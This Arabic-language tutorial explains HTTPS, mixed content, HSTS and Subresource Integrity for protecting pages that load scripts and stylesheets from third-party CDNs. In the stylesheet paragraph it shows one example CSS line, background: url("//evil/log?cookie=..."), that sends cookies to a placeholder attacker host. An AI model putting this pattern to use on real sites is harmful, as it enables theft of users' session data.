HTTPS وسلامة الموارد الفرعية

يشفّر HTTPS البيانات أثناء النقل ويتحقق من هوية الخادم. من دون HTTPS، يستطيع المهاجمون الموجودون على الشبكة نفسها، مثل شبكة Wi-Fi في مقهى أو مزود خدمة الإنترنت أو جهة حكومية، قراءة كل بايت وحقن محتوى خبيث في الاستجابات. تعرض المتصفحات الحديثة صفحات HTTP على أنها "غير آمنة"، وترفض العديد من واجهات API، مثل الكاميرا وتحديد الموقع الجغرافي وservice workers، العمل عبر HTTP.

يُعد تحميل موارد HTTP من صفحة HTTPS محتوى مختلطًا. يحظر المتصفح المحتوى المختلط النشط، مثل البرامج النصية وإطارات iframe وأوراق الأنماط، حظرًا تامًا، ويصدر تحذيرًا بشأن المحتوى المختلط السلبي، مثل الصور. حمّل كل مورد دائمًا عبر HTTPS؛ واستخدم عناوين URL النسبية إلى البروتوكول مثل //cdn.example.com أو عناوين https:// المطلقة.

تُخبر ميزة أمان النقل الصارم عبر HTTP، من خلال رأس الاستجابة Strict-Transport-Security، المتصفحات برفض اتصالات HTTP المستقبلية بنطاقك. بعد تخزين HSTS مؤقتًا، لا يستطيع المهاجم خفض اتصال المستخدم إلى HTTP حتى مع وجوده في موقع الوسيط بين الطرفين.

يُعد تحميل البرامج النصية من شبكات CDN التابعة لجهات خارجية أمرًا مريحًا لكنه محفوف بالمخاطر — فإذا اختُرقت شبكة CDN، يستطيع المهاجم استبدال البرنامج النصي ببرمجية خبيثة. تجعل سلامة الموارد الفرعية (SRI) المتصفح يتحقق من التجزئة التشفيرية للملف قبل تنفيذه، ويرفض تشغيله إذا لم تتطابق التجزئة.

أضف تجزئة SHA-256/384/512 بترميز base64 إلى وسم script: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. يحسب المتصفح تجزئة الملف الذي نزّله ويرفض تشغيله إذا لم تتطابق.

أنشئ التجزئة باستخدام openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. أو استخدم إضافة لأداة بناء تُصدر سمة integrity تلقائيًا. تعرض معظم شبكات CDN، مثل jsdelivr وunpkg، وسم SRI في مقتطفها الجاهز للنسخ واللصق.

يتطلب SRI أن تسمح الاستجابة من مصدر مختلف بإجراء فحص integrity عبر CORS. أضف crossorigin="anonymous" إلى الوسم، وتأكد من أن شبكة CDN ترسل Access-Control-Allow-Origin. من دون ذلك، يرفض المتصفح التحقق ويفشل تحميل المورد.

يمكن أن تحمل سمة integrity تجزئات متعددة تفصل بينها مسافات. ويفيد ذلك أثناء الانتقال بين الإصدارات: أدرج تجزئتي الإصدارين القديم والجديد، وسيقبل المتصفح أيًا منهما وفقًا للإصدار الذي تقدمه شبكة CDN. تجنب استخدام أكثر من تجزئتين للحفاظ على سهولة قراءة السمة.

يحمي SRI أيضًا <link rel="stylesheet">. يكون ملف CSS المخترق أقل خطورة مباشرةً من البرنامج النصي المخترق، لكن background: url("//evil/log?cookie=...") قد يظل قادرًا على تسريب البيانات. طبّق SRI على كل أصل خارجي حيثما أمكن.

يخفف SRI من خطر اختراق شبكة CDN، لكنه لا يحل كل مشكلة: إذ يؤدي تغيير التجزئة على شبكة CDN إلى تعطيل صفحتك حتى تحدّث سمة integrity. بالنسبة إلى المكتبات المهمة، استضف الملف الذي راجعته بنفسك — وبذلك تلغي تثبيت SRI ومخاطر سلسلة التوريد بخطوة واحدة.

يضيف SRI عملية حساب تجزئة لكل مورد — وهي تكلفة ضئيلة على الأجهزة الحديثة، بضع ميكروثوانٍ لكل كيلوبايت. وتتجاوز الحماية التي يوفرها ضد هجمات سلسلة التوريد هذه التكلفة بكثير. لا يوجد سبب متعلق بالأداء لتجاوز SRI عند التحميل من شبكة CDN.

يتحقق SRI من بايتات محددة — لكنه لا يحمي من تقديم شبكة CDN ملفًا مختلفًا لبعض المستخدمين، أي الاستهداف الانتقائي. ولتحقيق أقصى ضمان، ادمج SRI مع HTTPS وHSTS وCSP والاستضافة الذاتية لأهم الأصول.

ممّ تحمي سمة integrity في وسم script؟

يشفّر HTTPS البيانات ويتحقق من هوية الخادم، ويمنع HSTS هجمات خفض مستوى الأمان، ويتحقق SRI من عدم العبث بملفات الجهات الخارجية. أضف تجزئات integrity، مع crossorigin="anonymous"، إلى كل برنامج نصي وورقة أنماط خارجية من شبكة CDN لا تتحكم فيها. وبالنسبة إلى الأصول الأهم، استخدم الاستضافة الذاتية بدلًا من ذلك — للقضاء على خطر سلسلة التوريد بالكامل.